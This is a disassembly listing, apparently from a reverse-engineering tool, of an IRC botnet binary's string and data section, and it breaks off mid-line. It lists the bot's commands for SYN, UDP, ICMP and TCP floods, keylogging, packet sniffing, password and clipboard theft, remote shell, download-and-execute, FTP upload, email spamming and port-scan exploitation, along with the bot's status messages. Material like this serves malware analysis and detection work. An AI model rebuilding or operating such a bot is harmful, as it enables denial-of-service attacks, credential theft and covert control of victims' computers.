6Ch, 1Fh db 67h ; g db 29h, 20h, 2 db 0BBh ; » db 0BBh, 2, 20h aFailedToSta_17 db ' Failed to start clone thread, error: <%d>.',0 unk_43128C db 2 ; DATA XREF: sub_40EE72+3ADDo db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 63h, 6Ch, 6Fh db 6Eh ; n db 65h, 73h, 2Eh db 70h ; p db 1Fh, 6Ch, 1Fh db 67h ; g db 29h, 20h, 2 db 0BBh ; » db 0BBh, 2, 20h aCreatedOnSDInC db ' Created on %s:%d, in channel %s.',0 align 4 unk_4312CC db 2 ; DATA XREF: sub_40EE72+3A55o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 2 dup(64h), 6Fh db 73h ; s db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFailedToSta_18 db ' Failed to start flood thread, error: <%d>.',0 align 4 unk_431314 db 2 ; DATA XREF: sub_40EE72+39E6o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 2 dup(64h), 6Fh db 73h ; s db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFloodingSSForS db ' Flooding: (%s:%s) for %s seconds.',0 align 4 dword_431354 dd 7A026E02h, 201F6D1Fh, 6E797328h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+3948o dd 2BBBB02h aFailedToSta_19 db ' Failed to start flood thread, error: <%d>.',0 align 4 dword_43139C dd 7A026E02h, 201F6D1Fh, 6E797328h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+38D7o dd 2BBBB02h aFloodingSSFo_0 db ' Flooding: (%s:%s) for %s seconds.',0 unk_4313D8 db 2 ; DATA XREF: sub_40EE72+385Eo db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 64h, 6Fh, 77h db 6Eh ; n db 6Ch, 6Fh, 61h db 64h ; d db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFailedToStartT db ' Failed to start transfer thread, error: <%d>.',0 align 4 unk_431428 db 2 ; DATA XREF: sub_40EE72+37EFo db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 64h, 6Fh, 77h db 6Eh ; n db 6Ch, 6Fh, 61h db 64h ; d db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aDownloadingUrl db ' Downloading URL: %s to: %s.',0 align 4 unk_431464 db 2 ; DATA XREF: sub_40EE72+371Do db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 72h, 65h, 64h db 69h ; i db 72h, 65h, 63h db 74h ; t db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFailedToStartR db ' Failed to start redirection thread, error: <%d>.',0 align 4 unk_4314B8 db 2 ; DATA XREF: sub_40EE72+36AEo db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 72h, 65h, 64h db 69h ; i db 72h, 65h, 63h db 74h ; t db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aTcpRedirectCre db ' TCP redirect created from: %s:%d to: %s:%d.',0 unk_431504 db 2 ; DATA XREF: sub_40EE72+3620o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 70h, 6Fh, 72h db 74h ; t db 73h, 63h, 61h db 6Eh ; n db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFailedToSta_20 db ' Failed to start scan thread, error: <%d>.',0 align 10h unk_431550 db 2 ; DATA XREF: sub_40EE72+35B1o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 70h, 6Fh, 72h db 74h ; t db 73h, 63h, 61h db 6Eh ; n db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aPortScanStarte db ' Port scan started: %s:%d with delay: %d(ms).',0 aSSS_0 db '[%s] <%s> %s',0 ; DATA XREF: sub_40EE72+352Do align 4 aSSS_1 db '[%s] * %s %s',0 ; DATA XREF: sub_40EE72+3430o align 4 dword_4315BC dd 54434101h, 204E4F49h, 17325h ; DATA XREF: sub_40EE72+33A2o ; sub_40EE72+43EFo unk_4315C8 db 2 ; DATA XREF: sub_40EE72+3340o ; sub_40EE72+5179o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 72h, 2 dup(6Fh) db 74h ; t db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFailedToSta_21 db ' Failed to start scan thread, error: <%d>.',0 align 10h unk_431610 db 2 ; DATA XREF: sub_40EE72+32D1o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 72h, 2 dup(6Fh) db 74h ; t db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aSExploitationS db ' %s Exploitation started on %s:%d waiting %d seconds for %d minu' db 'tes using %d threads.',0 aSequential db 'Sequential',0 ; DATA XREF: sub_40EE72+32A6o ; sub_40EE72+50DDo align 4 aRandom_0 db 'Random',0 ; DATA XREF: sub_40EE72+329Fo ; sub_40EE72+50D6o align 4 unk_431694 db 2 ; DATA XREF: sub_40EE72+3161o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 72h, 2 dup(6Fh) db 74h ; t db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFailedToSta_22 db ' Failed to start scan, no IP specified.',0 align 4 unk_4316D8 db 2 ; DATA XREF: sub_40EE72+301Ao ; sub_40EE72+4F21o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 72h, 2 dup(6Fh) db 74h ; t db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aAlreadyDScanni db ' Already %d scanning threads. Too many specified.',0 dword_431724 dd 7A026E02h, 201F6D1Fh, 70647528h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+2FE9o dd 2BBBB02h aFailedToSta_23 db ' Failed to start flood thread, error: <%d>.',0 align 4 dword_43176C dd 7A026E02h, 201F6D1Fh, 70647528h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+2F7Ao dd 2BBBB02h aSendingDPacket db ' Sending %d packets to: %s. Packet size: %d, Delay: %d(ms).',0 align 4 aIcmp_dllNotAva db 'ICMP.dll not available',0 ; DATA XREF: sub_40EE72+2EA2o align 4 unk_4317DC db 2 ; DATA XREF: sub_40EE72+2E8Do db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 70h, 69h, 6Eh db 67h ; g db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFailedToSta_24 db ' Failed to start flood thread, error: <%d>.',0 align 4 unk_431824 db 2 ; DATA XREF: sub_40EE72+2E22o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 70h, 69h, 6Eh db 67h ; g db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aSendingDPingsT db ' Sending %d pings to %s. packet size: %d, timeout: %d(ms).',0 align 4 dword_43187C dd 7A026E02h, 201F6D1Fh, 70637428h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72:loc_411BF4o dd 2BBBB02h aInvalidFlood_0 db ' Invalid flood time must be greater than 0.',0 align 4 dword_4318C4 dd 7A026E02h, 201F6D1Fh, 70637428h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+2D78o dd 2BBBB02h aFailedToSta_25 db ' Failed to start flood thread, error: <%d>.',0 align 4 dword_43190C dd 7A026E02h, 201F6D1Fh, 70637428h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+2CFEo dd 2BBBB02h aSSFloodingSSFo db ' %s %s flooding: (%s:%s) for %s seconds.',0 align 10h aNormal db 'Normal',0 ; DATA XREF: sub_40EE72+2CEEo align 4 aSpoofed db 'Spoofed',0 ; DATA XREF: sub_40EE72+2CE7o dword_431960 dd 7A026E02h, 201F6D1Fh, 70637428h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+2C4Co dd 2BBBB02h aInvalidFloodTy db ' Invalid flood type specified.',0 dword_431998 dd 7A026E02h, 201F6D1Fh, 70746628h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72:loc_4119D3o dd 2BBBB02h aUploadingFileS db ' Uploading file: %s to: %s failed.',0 dword_4319D4 dd 7A026E02h, 201F6D1Fh, 70746628h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+2B5Ao dd 2BBBB02h aUploadingFil_0 db ' Uploading file: %s to: %s',0 aFtp_exe db 'ftp.exe',0 ; DATA XREF: sub_40EE72+2B43o aSS_4 db '-s:%s',0 ; DATA XREF: sub_40EE72+2B2Co align 4 aOpenSSSSPutSBy db 'open %s',0Dh,0Ah ; DATA XREF: sub_40EE72+2B09o db '%s',0Dh,0Ah db '%s',0Dh,0Ah db '%s',0Dh,0Ah db 'put %s',0Dh,0Ah db 'bye',0Dh,0Ah,0 align 4 aSIII_dll db '%s\%i%i%i.dll',0 ; DATA XREF: sub_40EE72+2AD4o align 4 dword_431A4C dd 7A026E02h, 201F6D1Fh, 70746628h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+2A8Ao dd 2BBBB02h aFileNotFoundS_ db ' File not found: %s.',0 align 4 aFtp_upload db 'ftp.upload',0 ; DATA XREF: sub_40EE72+2A67o align 4 aUtil_hcon db 'util.hcon',0 ; DATA XREF: sub_40EE72+2A44o align 4 aUtil_httpcon db 'util.httpcon',0 ; DATA XREF: sub_40EE72+2A2Do align 4 unk_431AA4 db 3 ; DATA XREF: sub_40EE72+2A11o db 31h, 35h, 2Ch db 31h ; 1 db 34h, 6Eh, 7Ah db 6Dh ; m db 20h, 3, 32h db 2Eh ; . db 2Eh, 20h, 3 db 31h ; 1 db 35h, 28h, 65h db 6Dh ; m db 61h, 69h, 6Ch db 3 db 32h, 2Eh, 3 db 31h ; 1 db 35h, 6Dh, 6Fh db 64h ; d db 29h, 20h, 3 db 32h ; 2 db 0BBh, 3, 31h a5MessageSentTo db '5 Message sent to %s.',0 align 4 aHeloRndnickMai db 'helo $rndnick',0Ah ; DATA XREF: sub_40EE72+299Do db 'mail from: <%s>',0Ah db 'rcpt to: <%s>',0Ah db 'data',0Ah db 'subject: %s',0Ah db 'from: %s',0Ah db '%s',0Ah db '.',0Ah,0 a__0: ; DATA XREF: sub_40EE72+2901o unicode 0, <_>,0 aUtil_email db 'util.email',0 ; DATA XREF: sub_40EE72+28B2o align 10h aDdos_tcpf db 'ddos.tcpf',0 ; DATA XREF: sub_40EE72+289Bo align 4 aDdos_tcpflood db 'ddos.tcpflood',0 ; DATA XREF: sub_40EE72+2884o align 4 aP: ; DATA XREF: sub_40EE72+286Do unicode 0, <p>,0 aDdos_pingf db 'ddos.pingf',0 ; DATA XREF: sub_40EE72+2856o align 4 aDdos_pingflood db 'ddos.pingflood',0 ; DATA XREF: sub_40EE72+283Fo align 4 aU: ; DATA XREF: sub_40EE72+2828o unicode 0, <u>,0 aDdos_udpf db 'ddos.udpf',0 ; DATA XREF: sub_40EE72+2811o align 4 aDdos_udpflood db 'ddos.udpflood',0 ; DATA XREF: sub_40EE72+27FAo align 4 aAsc db 'asc',0 ; DATA XREF: sub_40EE72+27E3o aAdvscan db 'advscan',0 ; DATA XREF: sub_40EE72+27CCo aClone_ac db 'clone.ac',0 ; DATA XREF: sub_40EE72+27A3o align 4 aClone_action db 'clone.action',0 ; DATA XREF: sub_40EE72+278Co align 4 aClone_pm db 'clone.pm',0 ; DATA XREF: sub_40EE72+2775o align 10h aClone_privmsg db 'clone.privmsg',0 ; DATA XREF: sub_40EE72+275Eo align 10h aRoot_ps db 'root.ps',0 ; DATA XREF: sub_40EE72+2747o aRoot_portscan db 'root.portscan',0 ; DATA XREF: sub_40EE72+2730o align 4 aDaemon_rd db 'daemon.rd',0 ; DATA XREF: sub_40EE72+2719o align 4 aDaemon_redirec db 'daemon.redirect',0 ; DATA XREF: sub_40EE72+2702o aDownload_wg db 'download.wg',0 ; DATA XREF: sub_40EE72+26EBo aDownload_wget db 'download.wget',0 ; DATA XREF: sub_40EE72+26D4o align 10h aDdos_synf db 'ddos.synf',0 ; DATA XREF: sub_40EE72+26BDo align 4 aDdos_synflood db 'ddos.synflood',0 ; DATA XREF: sub_40EE72+26A6o align 4 aClone_start db 'clone.start',0 ; DATA XREF: sub_40EE72+264Ao aClone_make db 'clone.make',0 ; DATA XREF: sub_40EE72+2633o align 4 aDdos_ic db 'ddos.ic',0 ; DATA XREF: sub_40EE72+260Ao aDdos_icmp db 'ddos.icmp',0 ; DATA XREF: sub_40EE72+25F3o align 4 aCom_mv db 'com.mv',0 ; DATA XREF: sub_40EE72+25DCo align 10h aCom_rename db 'com.rename',0 ; DATA XREF: sub_40EE72+25C5o align 4 aFf db 'ff',0 ; DATA XREF: sub_40EE72+25AEo align 10h aFindfile db 'findfile',0 ; DATA XREF: sub_40EE72+2597o align 4 aCom_e db 'com.e',0 ; DATA XREF: sub_40EE72+2580o align 4 aCom_execute db 'com.execute',0 ; DATA XREF: sub_40EE72+2569o aDownload_up db 'download.up',0 ; DATA XREF: sub_40EE72+2552o aDownload_updat db 'download.update',0 ; DATA XREF: sub_40EE72+253Bo aIrc_de db 'irc.de',0 ; DATA XREF: sub_40EE72+2524o align 4 aIrc_delay db 'irc.delay',0 ; DATA XREF: sub_40EE72+250Do align 10h aIrc_rp db 'irc.rp',0 ; DATA XREF: sub_40EE72+24F6o align 4 aIrc_repeat db 'irc.repeat',0 ; DATA XREF: sub_40EE72+24DFo align 4 aClone_p db 'clone.p',0 ; DATA XREF: sub_40EE72+24C8o aClone_part db 'clone.part',0 ; DATA XREF: sub_40EE72+24B1o align 4 aClone_j db 'clone.j',0 ; DATA XREF: sub_40EE72+249Ao aClone_join db 'clone.join',0 ; DATA XREF: sub_40EE72+2483o align 4 aClone_ni db 'clone.ni',0 ; DATA XREF: sub_40EE72+246Co align 4 aClone_nick db 'clone.nick',0 ; DATA XREF: sub_40EE72+2455o align 4 aClone_m db 'clone.m',0 ; DATA XREF: sub_40EE72+243Eo aClone_mode db 'clone.mode',0 ; DATA XREF: sub_40EE72+2427o align 4 aClone_ra db 'clone.ra',0 ; DATA XREF: sub_40EE72+2410o align 4 aClone_raw db 'clone.raw',0 ; DATA XREF: sub_40EE72+23F9o align 10h aIrc_m db 'irc.m',0 ; DATA XREF: sub_40EE72+23E2o align 4 aIrc_mode db 'irc.mode',0 ; DATA XREF: sub_40EE72+23CBo align 4 aIrc_cy db 'irc.cy',0 ; DATA XREF: sub_40EE72+23B4o align 4 aIrc_cycle db 'irc.cycle',0 ; DATA XREF: sub_40EE72+239Do align 4 aIrc_ac db 'irc.ac',0 ; DATA XREF: sub_40EE72+2386o align 10h aIrc_action db 'irc.action',0 ; DATA XREF: sub_40EE72+236Fo align 4 aIrc_pm db 'irc.pm',0 ; DATA XREF: sub_40EE72+2358o align 4 aIrc_privmsg db 'irc.privmsg',0 ; DATA XREF: sub_40EE72+2341o aIrc_aa db 'irc.aa',0 ; DATA XREF: sub_40EE72+232Ao align 4 aIrc_addalias db 'irc.addalias',0 ; DATA XREF: sub_40EE72+2313o align 4 aIrc_gh db 'irc.gh',0 ; DATA XREF: sub_40EE72+22EAo align 10h aIrc_gethost db 'irc.gethost',0 ; DATA XREF: sub_40EE72+22D3o aCom_cap db 'com.cap',0 ; DATA XREF: sub_40EE72+22BCo aCom_capture db 'com.capture',0 ; DATA XREF: sub_40EE72+22A5o dword_431DF0 dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72:loc_4110C9o dd 2BBBB02h aCommandUnknown db ' Command unknown.',0 align 4 dword_431E1C dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72:loc_4110C2o dd 2BBBB02h aNoMessageSpeci db ' No message specified.',0 dword_431E4C dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72:loc_411077o dd 2BBBB02h aUserListFailed db ' User list failed.',0 dword_431E78 dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+21FEo dd 2BBBB02h aUserListComple db ' User list completed.',0 align 4 aUser db 'user',0 ; DATA XREF: sub_40EE72+218Ao align 10h dword_431EB0 dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72:loc_410FF1o dd 2BBBB02h aShareListFaile db ' Share list failed.',0 align 10h dword_431EE0 dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+2175o dd 2BBBB02h aShareListCompl db ' Share list completed.',0 aShare db 'share',0 ; DATA XREF: sub_40EE72+211Fo align 4 aDelete db 'delete',0 ; DATA XREF: sub_40EE72+20FDo align 10h aContinue db 'continue',0 ; DATA XREF: sub_40EE72+20E5o align 4 aPause db 'pause',0 ; DATA XREF: sub_40EE72+20CDo align 4 aStop db 'stop',0 ; DATA XREF: sub_40EE72+20B5o align 4 dword_431F3C dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72:loc_410F1Co dd 2BBBB02h aServiceListFai db ' Service list failed.',0 align 4 dword_431F6C dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+20A0o dd 2BBBB02h aServiceListCom db ' Service list completed.',0 align 10h aStart db 'start',0 ; DATA XREF: sub_40EE72+2069o align 4 dword_431FA8 dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+2036o dd 2BBBB02h aFailedToLoadAd db ' Failed to load advapi32.dll or netapi32.dll.',0 align 10h aCom_net db 'com.net',0 ; DATA XREF: sub_40EE72+2012o unk_431FF8 db 2 ; DATA XREF: sub_40EE72+1FD1o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 6Bh, 65h, 79h db 6Ch ; l db 6Fh, 67h, 2Eh db 70h ; p db 1Fh, 6Ch, 1Fh db 67h ; g db 29h, 20h, 2 db 0BBh ; » db 0BBh, 2, 20h aFailedToSta_26 db ' Failed to start logging thread, error: <%d>.',0 align 4 unk_432044 db 2 ; DATA XREF: sub_40EE72+1F66o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 6Bh, 65h, 79h db 6Ch ; l db 6Fh, 67h, 2Eh db 70h ; p db 1Fh, 6Ch, 1Fh db 67h ; g db 29h, 20h, 2 db 0BBh ; » db 0BBh, 2, 20h aKeyLoggerActiv db ' Key logger active.',0 unk_432074 db 2 ; DATA XREF: sub_40EE72+1EE5o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 6Bh, 65h, 79h db 6Ch ; l db 6Fh, 67h, 2Eh db 70h ; p db 1Fh, 6Ch, 1Fh db 67h ; g db 29h, 20h, 2 db 0BBh ; » db 0BBh, 2, 20h aAlreadyRunni_1 db ' Already running.',0 align 4 unk_4320A4 db 2 ; DATA XREF: sub_40EE72:loc_410D33o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 6Bh, 65h, 79h db 6Ch ; l db 6Fh, 67h, 2Eh db 70h ; p db 1Fh, 6Ch, 1Fh db 67h ; g db 29h, 20h, 2 db 0BBh ; » db 0BBh, 2, 20h aNoKeyLoggerThr db ' No key logger thread found.',0 align 10h unk_4320E0 db 2 ; DATA XREF: sub_40EE72+1EB7o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 6Bh, 65h, 79h db 6Ch ; l db 6Fh, 67h, 2Eh db 70h ; p db 1Fh, 6Ch, 1Fh db 67h ; g db 29h, 20h, 2 db 0BBh ; » db 0BBh, 2, 20h aKeyLoggerStopp db ' Key logger stopped. (%d thread(s) stopped.)',0 align 4 aFile db 'file',0 ; DATA XREF: sub_40EE72+1E83o ; sub_40EE72+1EF9o align 4 aCom_keylog db 'com.keylog',0 ; DATA XREF: sub_40EE72+1E5Do align 10h unk_432140 db 2 ; DATA XREF: sub_40EE72:loc_410CC5o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 73h, 6Eh, 69h db 66h ; f db 66h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; » db 2, 2 dup(20h) aNoCarnivoreThr db 'No Carnivore thread found.',0 align 4 unk_432178 db 2 ; DATA XREF: sub_40EE72+1E49o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 73h, 6Eh, 69h db 66h ; f db 66h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; » db 2, 2 dup(20h) aCarnivoreStopp db 'Carnivore stopped. (%d thread(s) stopped.)',0 align 10h aOff db 'off',0 ; DATA XREF: sub_40EE72+1E26o ; sub_40EE72+1E94o unk_4321C4 db 2 ; DATA XREF: sub_40EE72+1E1Bo db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 73h, 6Eh, 69h db 66h ; f db 66h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; » db 2, 2 dup(20h) aFailedToSta_27 db 'Failed to start sniffer thread, error: <%d>.',0 align 10h unk_432210 db 2 ; DATA XREF: sub_40EE72+1DACo db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 73h, 6Eh, 69h db 66h ; f db 66h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; » db 2, 2 dup(20h) aCarnivorePacke db 'Carnivore packet sniffer active.',0 align 10h unk_432250 db 2 ; DATA XREF: sub_40EE72+1D45o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 73h, 6Eh, 69h db 66h ; f db 66h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; » db 2, 2 dup(20h) aAlreadyRunni_2 db 'Already running.',0 align 10h aOn db 'on',0 ; DATA XREF: sub_40EE72+1D25o ; sub_40EE72+1E72o align 4 aSniff db 'sniff',0 ; DATA XREF: sub_40EE72+1D10o align 4 aCom_rf db 'com.rf',0 ; DATA XREF: sub_40EE72+1CF9o align 4 aCom_readfile db 'com.readfile',0 ; DATA XREF: sub_40EE72+1CE2o align 4 aCom_cm db 'com.cm',0 ; DATA XREF: sub_40EE72+1CCBo align 4 aCom_cmd db 'com.cmd',0 ; DATA XREF: sub_40EE72+1CB4o aMirc_cmd db 'mirc.cmd',0 ; DATA XREF: sub_40EE72+1C86o ; sub_40EE72+1C9Do align 10h aIrc_v db 'irc.v',0 ; DATA XREF: sub_40EE72+1C6Fo align 4 aIrc_visit db 'irc.visit',0 ; DATA XREF: sub_40EE72+1C58o align 4 aCom_fl db 'com.fl',0 ; DATA XREF: sub_40EE72+1C41o align 4 aCom_filelist db 'com.filelist',0 ; DATA XREF: sub_40EE72+1C2Ao align 4 aDcc_gt db 'dcc.gt',0 ; DATA XREF: sub_40EE72+1C13o align 4 aDcc_get db 'dcc.get',0 ; DATA XREF: sub_40EE72+1BFCo aCom_del db 'com.del',0 ; DATA XREF: sub_40EE72+1BE5o aCom_delete db 'com.delete',0 ; DATA XREF: sub_40EE72+1BCEo align 10h aCom_pkid db 'com.pkid',0 ; DATA XREF: sub_40EE72+1BB7o align 4 aCom_prockillid db 'com.prockillid',0 ; DATA XREF: sub_40EE72+1BA0o align 4 aCom_kpn db 'com.kpn',0 ; DATA XREF: sub_40EE72+1B89o aCom_killprocna db 'com.killprocname',0 ; DATA XREF: sub_40EE72+1B72o align 4 aIrc_dn db 'irc.dn',0 ; DATA XREF: sub_40EE72+1B5Bo align 10h aIrc_dns db 'irc.dns',0 ; DATA XREF: sub_40EE72+1B44o aIrc_se db 'irc.se',0 ; DATA XREF: sub_40EE72+1B2Do align 10h aIrc_setserve db 'irc.setserve',0 ; DATA XREF: sub_40EE72+1B16o align 10h aCom_o db 'com.o',0 ; DATA XREF: sub_40EE72+1AFFo align 4 aCom_open db 'com.open',0 ; DATA XREF: sub_40EE72+1AE8o align 4 aIrc_pr db 'irc.pr',0 ; DATA XREF: sub_40EE72+1AD1o align 4 aIrc_prefix db 'irc.prefix',0 ; DATA XREF: sub_40EE72+1ABAo align 4 aClone_rn db 'clone.rn',0 ; DATA XREF: sub_40EE72+1AA3o align 4 aClone_rndnick db 'clone.rndnick',0 ; DATA XREF: sub_40EE72+1A8Co align 4 aClone_q db 'clone.q',0 ; DATA XREF: sub_40EE72+1A75o aClone_quit db 'clone.quit',0 ; DATA XREF: sub_40EE72+1A5Eo align 4 aThreads_k db 'threads.k',0 ; DATA XREF: sub_40EE72+1A47o align 4 aThreads_kill db 'threads.kill',0 ; DATA XREF: sub_40EE72+1A30o align 4 aIrc_ra db 'irc.ra',0 ; DATA XREF: sub_40EE72+1A19o align 4 aIrc_raw db 'irc.raw',0 ; DATA XREF: sub_40EE72+1A02o aIrc_pt db 'irc.pt',0 ; DATA XREF: sub_40EE72+19EBo align 4 aIrc_part db 'irc.part',0 ; DATA XREF: sub_40EE72+19D4o align 4 aIrc_j db 'irc.j',0 ; DATA XREF: sub_40EE72+19BDo align 10h aIrc_join db 'irc.join',0 ; DATA XREF: sub_40EE72+19A6o align 4 aIrc_n db 'irc.n',0 ; DATA XREF: sub_40EE72+198Fo align 4 aIrc_nick db 'irc.nick',0 ; DATA XREF: sub_40EE72+1978o align 10h aSa db 'sa',0 ; DATA XREF: sub_40EE72+1952o align 4 aScanall db 'scanall',0 ; DATA XREF: sub_40EE72+193Do aCom_fp db 'com.fp',0 ; DATA XREF: sub_40EE72+1928o align 4 aCom_findpass db 'com.findpass',0 ; DATA XREF: sub_40EE72+1913o align 4 aDaemon_tf_on db 'daemon.tf.on',0 ; DATA XREF: sub_40EE72+18FEo align 4 aDaemon_tftp_on db 'daemon.tftp.on',0 ; DATA XREF: sub_40EE72+18E9o align 4 aDaemon_web_on db 'daemon.web.on',0 ; DATA XREF: sub_40EE72+18D4o align 4 aDaemon_httpd_o db 'daemon.httpd.on',0 ; DATA XREF: sub_40EE72+18BFo aDaemon_rl_on db 'daemon.rl.on',0 ; DATA XREF: sub_40EE72+18AAo align 4 aDaemon_rlogi_0 db 'daemon.rlogin.on',0 ; DATA XREF: sub_40EE72+1895o align 4 aRoot_cip db 'root.cip',0 ; DATA XREF: sub_40EE72+1880o align 4 aRoot_currentip db 'root.currentip',0 ; DATA XREF: sub_40EE72+186Bo align 4 aUtil_fdns db 'util.fdns',0 ; DATA XREF: sub_40EE72+1856o align 10h aUtil_flushdns db 'util.flushdns',0 ; DATA XREF: sub_40EE72+1841o align 10h aUtil_farp db 'util.farp',0 ; DATA XREF: sub_40EE72+182Co align 4 aUtil_flusharp db 'util.flusharp',0 ; DATA XREF: sub_40EE72+1817o align 4 aCom_gc db 'com.gc',0 ; DATA XREF: sub_40EE72+1802o align 4 aCom_getclip db 'com.getclip',0 ; DATA XREF: sub_40EE72+17EDo dword_432520 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+17DDo dd 2BBBB02h aLoginListCompl db ' Login list complete.',0 align 10h aD_S db '%d. %s',0 ; DATA XREF: sub_40EE72+17A9o align 4 aEmpty db '<Empty>',0 ; DATA XREF: sub_40EE72+179Co aLoginList db '-[Login List]-',0 ; DATA XREF: sub_40EE72+177Ao align 10h aIrc_who db 'irc.who',0 ; DATA XREF: sub_40EE72+1761o aCmd db '[CMD]',0 ; DATA XREF: sub_40EE72+1756o align 10h aRemoteShell db 'Remote shell',0 ; DATA XREF: sub_40EE72+1751o align 10h aCom_ocmd_off db 'com.ocmd.off',0 ; DATA XREF: sub_40EE72+1738o align 10h aCom_ocmd db 'com.ocmd',0 ; DATA XREF: sub_40EE72+1723o align 4 aCom_opencmd db 'com.opencmd',0 ; DATA XREF: sub_40EE72+170Eo aCom_dll db 'com.dll',0 ; DATA XREF: sub_40EE72+16F9o aCom_testdlls db 'com.testdlls',0 ; DATA XREF: sub_40EE72+16E4o align 10h aCom_drv db 'com.drv',0 ; DATA XREF: sub_40EE72+16CFo aCom_driveinfo db 'com.driveinfo',0 ; DATA XREF: 